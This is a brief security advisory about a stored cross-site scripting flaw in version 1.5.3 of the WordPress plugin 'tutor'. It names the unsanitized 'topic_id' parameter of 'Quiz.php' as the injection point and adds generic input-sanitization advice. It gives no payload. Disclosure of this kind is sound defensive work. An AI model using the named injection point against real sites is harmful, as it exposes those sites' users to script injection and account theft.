WordPress Plugin tutor.1.5.3 – Persistent Cross-Site Scripting

An attacker can inject malicious JavaScript code into the 'topic_id' parameter of the 'Quiz.php' page of the Wordpress Plugin tutor.1.5.3, which is not properly sanitized. This can lead to persistent Cross-Site Scripting (XSS) vulnerability.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to dynamically generate web content. Sanitize user input to prevent malicious code from being executed.
